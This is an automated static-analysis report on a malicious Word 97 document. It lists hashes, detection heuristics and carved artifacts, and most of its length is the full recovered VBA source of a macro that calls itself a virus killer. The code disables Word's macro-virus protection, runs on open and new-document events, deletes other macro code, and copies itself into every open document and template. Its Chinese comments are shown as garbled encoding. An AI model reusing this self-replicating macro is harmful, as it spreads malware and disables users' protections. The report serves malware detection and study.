Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d6c6bbcbc5c6f78…

MALICIOUS

Office (OLE)

127.5 KB Created: 2002-01-21 03:25:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-15
MD5: 00bfbefb4523c3b33473059ab6a02200 SHA-1: f66d922476f3f881849f193c59b144adf7b74e16 SHA-256: 5d6c6bbcbc5c6f78d88a22ababadf31e16ef43e12ad5b62ec4f83fb4156c1494
178 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus, including specific markers and self-replication attempts. The AutoOpen and AutoNew subroutines are present, suggesting an intent to execute malicious code upon document opening or creation. The presence of obfuscated VBA code and the 'JiShenhua' module name further support its classification as a macro-based threat.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                If LinesofCode > 0 Then xItem.codemodule.DeleteLines 1, LinesofCode
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 130,560 bytes but its declared streams total only 60,358 bytes — 70,202 bytes (54%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Recovered VBA macro source from orphaned project info OLE_ORPHANED_VBA_MACRO_SOURCE
    oletools recovered no VBA project, but VBA source-cache records (module names, API calls, dropped paths and literal source lines) survive in unallocated OLE space — a stripped or corrupted VBA project, typical of legacy Word 97 macro viruses. The macro source was recovered and carved for review and signature scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
vba_orphaned_source.txt vba-orphaned-source analyzer.wordbasic.recover_length_prefixed_source (VBA source-cache records recovered from a stripped/orphaned project in unallocated OLE space) 980 bytes
SHA-256: 5a3ca090f37cb7e613b03e1754bf6f4e65a250d160951436a9dd8da231b19503
Preview script
First 1,000 lines of the extracted script
TargetFile
myDocOrTemp
Protected
ThisDocument
Project
C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL
VBA
C:\Program Files\Microsoft Office\Office\MSWORD8.OLB
Word
C:\WINDOWS\SYSTEM\stdole2.tlb
stdole
C:\WINDOWS\SYSTEM\MSForms.TWD
MSForms
C:\WINDOWS\TEMP\VBE\MSForms.EXD
C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\MSO97.DLL
Office
Document
Module1
JiShenhua
VirusReport
Document_Open
AutoOpen
AutoNew
AutoExit
InfectAll
ClearVirus
ScanVirus
Infect
Infected
ScanDocument
ClearDocument
CloseVirusProtection
Information
UserForm
F3Dynamic
Label1
Label2
CommandButtonKill
CommandButtonNothing
CommandButtonOpenVisubasic
CheckBox2
Label3
CheckBox1
UserForm_Initialize
CommandButtonNothing_Click
CommandButtonOpenVisubasic_Click
CommandButtonKill_Click
ResetMenu
VBA332.DLL
Document
Template
Name
VBProject
Protection
VBComponents
ThisDocument
codemodule
CountOfLines
  <
macrocopy
MyMacroVirusKiller
V2.2
Find
JiShenhua
VirusReport
DeleteLines
Remove
:
FullName
InsertLines
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17617 bytes
SHA-256: 05917613e54fa5ea7021c8125b770e9a9f0a703b395486ce95ea7a39299ec0d3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JiShenhua"
'ÕâÊDZ¾ÈËѧϰÖÆ×÷µÄÒ»¸öºê²¡¶¾·Àɱ³ÌÐò,Ëü¿ÉÒÔ·ÀÖ¹²¿·ÖWORDºê²¡¶¾µÄ¸ÐȾ
'ÕâÐèÒªÓдóÁ¿µÄºê²¡¶¾ÌØÕ÷Âë×÷ΪÒÀ¾Ý,Èç¹ûÄã·¢ÏÖÓб¾ÒßÃçÎÞÄÜΪÁ¦µÄºê²¡¶¾
'¸ÐлÄú¼°Ê±ÓëÎÒÁªÏµ,ÄãÒ²¿ÉÒÔ×ÔÑ¡Ð޸ı¾³ÌÐò,ÒÔ¼ÓÇ¿±¾ÒßÃçµÄ¹¦Á¦
'Ó벡¶¾×÷¶·Õù¾ÍÈçͬµÖÓùÉç»á·¸×ï,ÐèÒª´ó¼ÒµÄ¹²Í¬Å¬Á¦
'»¶Ó­¼ÓÈëÆäÖв¢³ÉΪһÃûսʿ,Ò²ÐíÄãÕýÊÇ´ó¼ÒÆÚ´ýÒѾõÄÓÂÊ¿
'³ÌÐòÉè¼Æ: ¼½É÷»ª
'°ì¹«µç»°:
'ÒÁÃõØÖ·: club@263.net
Option Explicit '³ÌÐòÖеıäÁ¿±ØÐëÏȶ¨ÒåºóʹÓÃ
Public pVirusReport As String '²¡¶¾ÃèÊöÐÅÏ¢
Private Const cMyID As String = "MyMacroVirusKiller" '±¾³ÌÐò´úÂë±êÖ¾
Private Const cMyVersion As String = "V2.2" '±¾³ÌÐò°æ±¾±ê×¼
Private Const cMyModule As String = "JiShenhua" '±¾³ÌÐòµÄÄ£¿éÃû³Æ
Private Const cMyUserForm As String = "VirusReport" '±¾³ÌÐòµÄÓû§´°¿ÚÃû³Æ
Private Const cLinesofThisDocument As Integer = 24 'ÔÚThisDocumentÄ£¿éÖÐÈ«²¿´úÂëµÄÐÐÊý
Private Const cOK As Integer = 0 'Ò»ÇÐÕý³£
Private Const cDocHasModuleElse As Integer = 1 'ÓÐÆäËûÄ£¿é´æÔÚ
Private Const cDocHasCodeElse As Integer = 2 'ÔÚThisDocumentÄ£¿éÖÐÓÐÆäËû´úÂë´æÔÚ
Private Const cDocHasAllElse As Integer = 3 'ÔÚThisDocumentÄ£¿éÖÐÓÐÆäËû´úÂë´æÔÚ£¬²¢ÓÐÆäËûÄ£¿é´æÔÚ
Private Const cDocProtected As Integer = 4 '¸ÃÎĵµ±»±£»¤
Private Const cDocHasOldVersion As Integer = 8  '¸ÃÎĵµÖÐÓоɰ汾¸Ãɱ²¡¶¾Ä£¿é
'´ò¿ªÎĵµÊ±×Ô¶¯Ö´ÐÐ
Sub AutoOpen()
    CloseVirusProtection
    '¼ì²é´ò¿ªµÄÎĵµÖÐÊÇ·ñÓв¡¶¾,Èç¹ûÓв¡¶¾£¬ÏòÓû§Ìá³ö±¨¸æ
    If ScanVirus Then
        Load VirusReport
        VirusReport.Show
    Else
        InfectAll
    End If
End Sub
'н¨ÎĵµÊ±×Ô¶¯Ö´ÐÐ
Sub AutoNew()
    CloseVirusProtection
    Infect Word.ActiveDocument
End Sub
'¹Ø±ÕWORD֮ǰÇåÀíautoexec.dotÎļþÖеIJ¡¶¾
Sub AutoExit()
    Const AutoDotFile = "C:\AUTOEXEC.DOT"
    If Dir(AutoDotFile) <> "" Then
        Kill AutoDotFile
    End If
End Sub
'´ÓÖ¸¶¨ÎļþÖÐÏòËùÓдò¿ªÎĵµ¼°Ä£°åÖи´ÖƱ¾³ÌÐò´úÂë¼°Ä£¿é
Public Function InfectAll() As Boolean
    Dim myDoc As Document, myTemp As Template
    'Ïò´ò¿ªµÄÎĵµÖÐдÈë±¾´úÂë
    For Each myDoc In Documents
        Infect myDoc
    Next myDoc
    'ÏòWORDÄ£°åÖÐдÈë±¾´úÂë
    For Each myTemp In Templates
        Infect myTemp
    Next myTemp
    InfectAll = True
End Function
'Çå³ýËùÓдò¿ªÎĵµ¼°Ä£°åÖеIJ¡¶¾Ä£¿é¼°´úÂë
Public Function ClearVirus() As Boolean
    Dim myDoc As Document, myTemp As Template
    Dim Cleared As Boolean
    
    ClearVirus = True
    '¼ì²éËùÓÐÎĵµ²¢Çå³ý
    For Each myDoc In Documents
        Cleared = ClearDocument(myDoc)
        If Not Cleared Then
            MsgBox "²¡¶¾Çå³ý¹¤×÷²»³É¹¦£¬Çë¼ì²éÔ­Òò¡£", vbOKOnly, myDoc.Name
            ClearVirus = False
        End If
    Next myDoc
    '¼ì²éËùÓÐÄ£°å²¢Çå³ý
    For Each myTemp In Templates
        Cleared = ClearDocument(myTemp)
        If Not Cleared Then
            MsgBox "²¡¶¾Çå³ý¹¤×÷²»³É¹¦£¬Çë¼ì²éÔ­Òò¡£", vbOKOnly, myTemp.Name
            ClearVirus = False
        End If
    Next myTemp
End Function
'¼ì²éËùÓдò¿ªµÄÎĵµ¼°Ä£°åÖÐÊÇ·ñÓв¡¶¾´æÔÚ£¬Èç¹ûÓУ¬·µ»Ø²¡¶¾ÐÅÏ¢ÃèÊö×Ö·û´®
Public Function ScanVirus() As Boolean
    Dim Ret As Integer, myDoc As Document, myTemp As Template
    
    ScanVirus = False
    pVirusReport = ""
    '¼ì²éËùÓдò¿ªµÄÎĵµÖÐÊÇ·ñÓв¡¶¾
    For Each myDoc In Documents
        Ret = ScanDocument(myDoc)
        Select Case Ret
            Case cOK, cDocProtected
            Case cDocHasModuleElse, cDocHasCodeElse, cDocHasAllElse, cDocHasOldVersion
                ScanVirus = True
            Case Else
                MsgBox "º¯ÊýScanDocument·µ»Ø´íÎó´úÂ룬ϵͳÎÞ·¨Ê¶±ð¡£", vbOKOnly, "ϵͳ³ö´í"
        End Select
    Next myDoc
    '¼ì²éËùÓÐÄ£°å
    For Each myTemp In Templates
        Ret = ScanDocument(myTemp)
        Select Case Ret
            Case cOK, cDocProtected
            Case cDocHasModuleElse, cDocHasCodeElse, cDocHasAllElse, cDocHasOldVersion
                ScanVirus = True
            Case Else
                MsgBox "º¯ÊýScanDocument·µ»Ø´íÎó´úÂ룬ϵͳÎÞ·¨Ê¶±ð¡£", vbOKOnly, "ϵͳ³ö´í"
        End Select
    Next myTemp
End Function
'°Ñ±¾³ÌÐò´úÂë´ÓÒ»¸öÎļþ¸´ÖƵ½ÁíÒ»¸öÎļþÖÐ
Private Function Infect(TargetFile) As Boolean
    Dim xItem, myDoc As Document, myTemp As Template
    Dim LinesofCode As Long, myStr As String
    
    '¼ì²é²ÎÊýÀàÐÍÊÇ·ñÕýÈ·
    myStr = TypeName(TargetFile)
    If myStr <> "Document" And myStr <> "Template" Then
        MsgBox "ʹÓÃÊý¾ÝÀàÐÍ" & myStr & "µ÷Óú¯ÊýInfect£¬ÏµÍ³Ö»ÔÊÐíʹÓÃDocument¼°TemplateÀàÐÍ¡£", vbOKOnly, "ϵͳ´íÎó"
        Infect = False
        Exit Function
    End If
    Infect = True
    If TargetFile.Name = ThisDocument.Name Then Exit Function 'Ä¿±êÎļþÓëÔ´ÎļþÏàͬʱ²»Ö´ÐÐдÈë²Ù×÷
    If Infected(TargetFile) Then Exit Function 'Ä¿±êÎļþÒѾ­´æÔÚ±¾³ÌÐò´úÂë
    If TargetFile.VBProject.Protection Then Exit Function 'Ä¿±êÎļþ±»±£»¤£¬²»ÄÜÖ´ÐÐдÈë²Ù×÷
    Infect = False
    
    'Çå³ýÄ¿±êÎĵµÖÐÒѾ­´æÔÚµÄÆäËûÄ£¿é¼°´úÂë
    For Each xItem In TargetFile.VBProject.VBComponents
        If xItem.Name = "ThisDocument" Then
            LinesofCode = xItem.codemodule.CountOfLines
            If LinesofCode > 0 Then xItem.codemodule.DeleteLines 1, LinesofCode
        Else
            TargetFile.VBProject.VBComponents.Remove xItem
        End If
    Next xItem
    
    'ÏòÎĵµÖÐдÈë±¾³ÌÐò´úÂë¼°Ä£¿é
    WordBasic.macrocopy ThisDocument.FullName & ":" & cMyModule, TargetFile.FullName & ":" & cMyModule
    WordBasic.macrocopy ThisDocument.FullName & ":" & cMyUserForm, TargetFile.FullName & ":" & cMyUserForm

    ' ^o^ ^o^  ^o^ ^o^  ^o^ ^o^  ^o^ ^o^  ^o^ ^o^  ^o^ ^o^  ^o^ ^o^  ^o^ ^o^
    
    '¸Ã³ÌÐò¶ÎÈç¹û·ÅÔÚÇ°Á½¸öÓï¾ä֮ǰ£¬¾Í»áµ¼ÖÂVBA32.DLL³ÌÐò³öÏÖÖÂÃü´íÎó¶øËÀ»ú£¬
    'ÇîÎÒÖ®±ÏÉú±à³Ì¾­Ñ飬²»ÖªºÎ¹Ê£¬ÌìÄÄ£¡ÌìÀíºÎÔÚ£¿
    
    LinesofCode = ThisDocument.VBProject.VBComponents(1).codemodule.CountOfLines
    myStr = ThisDocument.VBProject.VBComponents(1).codemodule.lines(1, LinesofCode)
    TargetFile.VBProject.VBComponents(1).codemodule.InsertLines 1, myStr
    
    Infect = True
End Function
'¼ì²éÖ¸¶¨ÎĵµÖÐÊÇ·ñÒѾ­Óб¾³ÌÐò´úÂë
Private Function Infected(TargetFile)
    Dim xItem, LinesofCode As Integer
    Dim BeInfected As Integer
    Dim myType As String
    
    myType = TypeName(TargetFile)
    If myType <> "Document" And myType <> "Template" Then
        MsgBox "ʹÓÃÊý¾ÝÀàÐÍ" & myType & "µ÷Óú¯ÊýInfected£¬ÏµÍ³Ö»ÔÊÐíʹÓÃDocument¼°TemplateÀàÐÍ¡£", vbOKOnly, "ϵͳ´íÎó"
        Infected = True
        Exit Function
    End If
    
    '¼ì²éÄ¿±êÎĵµÊÇ·ñ±»±£»¤
    If TargetFile.VBProject.Protection Then
        Infected = True
        Exit Function
    End If
    
    'µ±ThisDocument,myModule,myUserForm¾ù´æÔÚʱ£¬±íʾ¸ÃÎļþÒѾ­±»¸ÐȾ
    BeInfected = 0
    For Each xItem In TargetFile.VBProject.VBComponents
        If xItem.Name = "ThisDocument" Then
            LinesofCode = xItem.codemodule.CountOfLines
            If (LinesofCode > 0) And (xItem.codemodule.Find(cMyID & cMyVersion, 1, 1, 1 + LinesofCode, 1)) Then
                BeInfected = BeInfected Or 1
            End If
        ElseIf xItem.Name = cMyModule Then
            BeInfected = BeInfected Or 2
        ElseIf xItem.Name = cMyUserForm Then
            BeInfected = BeInfected Or 4
        End If
    Next xItem
    If BeInfected = 7 Then
        Infected = True
    Else
        Infected = False
    End If
End Function
'¼ì²éÖ¸¶¨µÄ´ò¿ªÎĵµ¼°Ä£°åÖÐÊÇ·ñÓв¡¶¾´æÔÚ
Private Function ScanDocument(myDocOrTemp) As Integer
    Dim xItem, myStr As String
    Dim LinesofCode As Integer
    
    ScanDocument = cOK
    '¼ì²é²ÎÊýÀàÐÍÊÇ·ñÕýÈ·
    If TypeName(myDocOrTemp) <> "Document" And TypeName(myDocOrTemp) <> "Template" Then
        MsgBox "µ÷Óú¯ÊýScanDocumentÖ»ÄÜʹÓÃDocument¼°TemplateÊý¾ÝÀàÐÍ¡£", vbOKOnly, "ϵͳ´íÎó"
        Exit Function
    End If
    myStr = myDocOrTemp.Name & "¼ì²é½á¹û£º" & vbCrLf
    '¼ì²é³ÌÐòÄ£¿éÊÇ·ñ±»±£»¤
    If myDocOrTemp.VBProject.Protection Then
        ScanDocument = cDocProtected
        myStr = myStr & "  ÎļþÖеijÌÐò´úÂë±»±£»¤£¬ÏµÍ³ÎÞ·¨×Ô¶¯²éɱ£¬µ«Ò²¿ÉÄÜ´æÔÚ²¡¶¾£¬ÇëСÐÄ£¡" & vbCrLf
        Exit Function
    End If
    For Each xItem In myDocOrTemp.VBProject.VBComponents
        If (xItem.Name = "ThisDocument") Then
            '´Ë²¿·ÖÓдúÂëʱ£¬Èç¹û×ÜÐÐÊý³¬³öÁ˹涨µÄÐÐÊý»òÕßÕÒ²»µ½±¾Ä£¿é±êÖ¾ÔòÈ϶¨Îª²¡¶¾
            LinesofCode = xItem.codemodule.CountOfLines
            If LinesofCode > 0 Then
                If (LinesofCode > cLinesofThisDocument) Then
                    ScanDocument = ScanDocument Or cDocHasCodeElse
                    myStr = myStr & "  <" & xItem.Name & ">¶ÔÏóÖÐÓÐÆäËû³ÌÐò´æÔÚ£¬´ó¸ÅÊDz¡¶¾¡£" & vbCrLf
                ElseIf Not xItem.codemodule.Find(cMyID & cMyVersion, 1, 1, 1 + LinesofCode, 1) Then '²éÕÒÊÇ·ñÓÐа汾´æÔÚ
                    If xItem.codemodule.Find(cMyID, 1, 1, 1 + LinesofCode, 1) Then '²éÕÒÊÇ·ñÓоɰ汾´æÔÚ
                        ScanDocument = cDocHasOldVersion
                        myStr = myStr & "  Óоɰ汾ɱ²¡¶¾³ÌÐò£¬ÇëÑ¡Ôñ¡®É±Ö®¡¯½øÐиüС£" & vbCrLf
                    Else
                        ScanDocument = ScanDocument Or cDocHasCodeElse
                        myStr = myStr & "  <" & xItem.Name & ">¶ÔÏóÖÐÓÐÆäËû³ÌÐò´æÔÚ£¬´ó¸ÅÊDz¡¶¾¡£" & vbCrLf
                    End If
                End If
            End If
        ElseIf (xItem.Name <> cMyModule) And (xItem.Name <> cMyUserForm) Then
            'ÎĵµÖгý±¾Ä£¿é´úÂëÖ®Í⣬Èç¹û»¹ÓÐÆäËü´úÂëÔòÈ϶¨Îª²¡¶¾
            ScanDocument = ScanDocument Or cDocHasModuleElse
            myStr = myStr & "  ÓÐÆäËûÄ£¿é<" & xItem.Name & ">´æÔÚ£¬¼«ÓпÉÄÜÊDz¡¶¾¡£" & vbCrLf
        End If
    Next
    If ScanDocument = cOK Then myStr = myStr & "  ûÓв¡¶¾£¬Çë·ÅÐÄʹÓá£" & vbCrLf
    pVirusReport = pVirusReport & myStr
End Function
'Çå³ýÖ¸¶¨µÄ´ò¿ªÎĵµ¼°Ä£°åÖеIJ¡¶¾Ä£¿é¼°´úÂë
Private Function ClearDocument(myDocOrTemp) As Boolean
    Dim xItem, LinesofCode As Integer
    
    ClearDocument = False
    '¼ì²é²ÎÊýÀàÐÍÊÇ·ñÕýÈ·
    If TypeName(myDocOrTemp) <> "Document" And TypeName(myDocOrTemp) <> "Template" Then
        MsgBox "µ÷Óú¯ÊýClearDocumentÖ»ÄÜʹÓÃDocument¼°TemplateÊý¾ÝÀàÐÍ¡£", vbOKOnly, "ϵͳ´íÎó"
        Exit Function
    End If
    If myDocOrTemp.VBProject.Protection Then
        ClearDocument = True
        Exit Function
    End If
    '¼ì²éÎĵµÊÇ·ñÓв¡¶¾²¢Çå³ý
    If ScanDocument(myDocOrTemp) Then
        For Each xItem In myDocOrTemp.VBProject.VBComponents
            If xItem.Name = "ThisDocument" Then
                LinesofCode = xItem.codemodule.CountOfLines
                If (LinesofCode > 0) Then
                    xItem.codemodule.DeleteLines 1, LinesofCode
                End If
            Else
                myDocOrTemp.VBProject.VBComponents.Remove xItem
            End If
        Next
    End If
    ClearDocument = True
End Function
'¹Ø±ÕWordºê²¡¶¾±£»¤¹¦ÄÜ
Public Function CloseVirusProtection(Optional Protected As Boolean = False)
    Options.VirusProtection = Protected
End Function


Attribute VB_Name = "VirusReport"
Attribute VB_Base = "0{7EC35011-0E75-11D6-ADD3-0080C8DB89AE}{7EC35009-0E75-11D6-ADD3-0080C8DB89AE}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False















































'´°Ìå³ÌÐò´úÂë
Option Explicit '³ÌÐòÖеıäÁ¿±ØÐëÏȶ¨ÒåºóʹÓÃ
'´ò¿ª´°ÌåʱִÐеIJÙ×÷
Private Sub UserForm_Initialize()
    CheckBox1.Value = True
    Information.Value = pVirusReport
    Beep
End Sub
'¹Ø±Õ´°Ì壬²»×÷Èκδ¦Àí
Private Sub CommandButtonNothing_Click()
    Dim Ret As Integer
    Ret = MsgBox("Áìµ¼£º" & vbCrLf & "ËäÈ»Äã¿ÉÄÜ»áÅúÆÀÎÒ£¬µ«»¹ÊÇÒª¸æËßÄ㣬ÕâÑù×öÊǺÜΣÏյģ¡" & vbCrLf & "ÊÇ·ñÕæµÄ²»×ö´¦Àí£¬ÇëÅúʾ¡£", vbYesNo + vbDefaultButton2, "Ìؼ¶±¨¸æ£¬Î£ÏÕ£¡")
    If Ret = vbYes Then
        Unload Me
    End If
End Sub
'´ò¿ªVisulBasic±à¼­Æ÷
Private Sub CommandButtonOpenVisubasic_Click()
    ShowVisualBasicEditor = True
End Sub
'ɱ²¡¶¾
Private Sub CommandButtonKill_Click()
    If ClearVirus Then
        ResetMenu
        Unload Me
        MsgBox "°´ÕÕÄúµÄָʾ£¬ÎÒÒѾ­°Ñ¿ÉÄÜÊDz¡¶¾µÄ¶«¶«È«²¿ÇåÀíÍê±Ï£¬" & vbCrLf & "Èç¹ûÊǺÃÐÄ°ìÁË»µÊ£¬Äǿɲ»Òª¹ÖÎÒÓ´¡£", vbOKOnly, "±¨¸æÁìµ¼£º"
    Else
        MsgBox "²»ÖªÊ²Ã´Ô­Òò£¬Çå³ý²¡¶¾¹¤×÷²»³É¹¦£¬ÇëÄúÊÖ¹¤¼ì²é»òÓëÎÒÁªÏµ¡£", vbOKOnly, "¼½É÷»ªÏòÄú±¨¸æ£º"
        Unload Me
    End If
End Sub
'»Ö¸´±»²¡¶¾¸ü¸ÄµÄ²Ëµ¥Ïî
Private Function ResetMenu()
    Dim mItem, cItem, myKey As KeyBinding
    
    CustomizationContext = NormalTemplate
    'Alt+F8:´ò¿ªºê¶Ô»°¿ò
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    'Alt+F11:´ò¿ªVisualBasic±à¼­Æ÷
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    FindKey(BuildKeyCode(wdKeyAlt, wdKeyH)).Clear
    FindKey(BuildKeyCode(wdKeyAlt, wdKeyK)).Clear

    '»Ö¸´¹¤¾ß²Ëµ¥µÄԭʼÉèÖÃ
    For Each mItem In CommandBars("Tools").Controls
        mItem.Reset
    Next mItem
    For Each cItem In CommandBars("Visual Basic").Controls
        cItem.Reset
    Next cItem
    For Each cItem In CommandBars
        If cItem.Visible = True Then
            cItem.Protection = msoBarNoProtection
        End If
    Next cItem
End Function

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

'ÕâÊDZ¾ÈËѧϰÖÆ×÷µÄÒ»¸öºê²¡¶¾·Àɱ³ÌÐò,Ëü¿ÉÒÔ·ÀÖ¹²¿·ÖWORDºê²¡¶¾µÄ¸ÐȾ
'ÕâÐèÒªÓдóÁ¿µÄºê²¡¶¾ÌØÕ÷Âë×÷ΪÒÀ¾Ý,Èç¹ûÄã·¢ÏÖÓб¾ÒßÃçÎÞÄÜΪÁ¦µÄºê²¡¶¾
'¸ÐлÄú¼°Ê±ÓëÎÒÁªÏµ,ÄãÒ²¿ÉÒÔ×ÔÑ¡Ð޸ı¾³ÌÐò,ÒÔ¼ÓÇ¿±¾ÒßÃçµÄ¹¦Á¦
'Ó벡¶¾×÷¶·Õù¾ÍÈçͬµÖÓùÉç»á·¸×ï,ÐèÒª´ó¼ÒµÄ¹²Í¬Å¬Á¦
'»¶Ó­¼ÓÈëÆäÖв¢³ÉΪһÃûսʿ,Ò²ÐíÄãÕýÊÇ´ó¼ÒÆÚ´ýÒѾõÄÓÂÊ¿
'³ÌÐòÉè¼Æ: ¼½É÷»ª
'°ì¹«µç»°:
'ÒÁÃõØÖ·: club@263.net
Const answer0 = "FreeWordMacroVirusKiller" '±£³ÖÓëÒÔÇ°°æ±¾µÄ¼æÈÝÐÔ
Const answer1 = "MyMacroVirusKillerV1.0"
Const answer2 = "MyMacroVirusKillerV2.0"
Const answer3 = "MyMacroVirusKillerV2.2" '±¾³ÌÐò±êÖ¾
'Version 2.0
Private Sub Document_Open()
    CloseVirusProtection
    '¼ì²é´ò¿ªµÄÎĵµÖÐÊÇ·ñÓв¡¶¾
    If ScanVirus Then
        Load VirusReport
        VirusReport.Show
    Else
        InfectAll
    End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.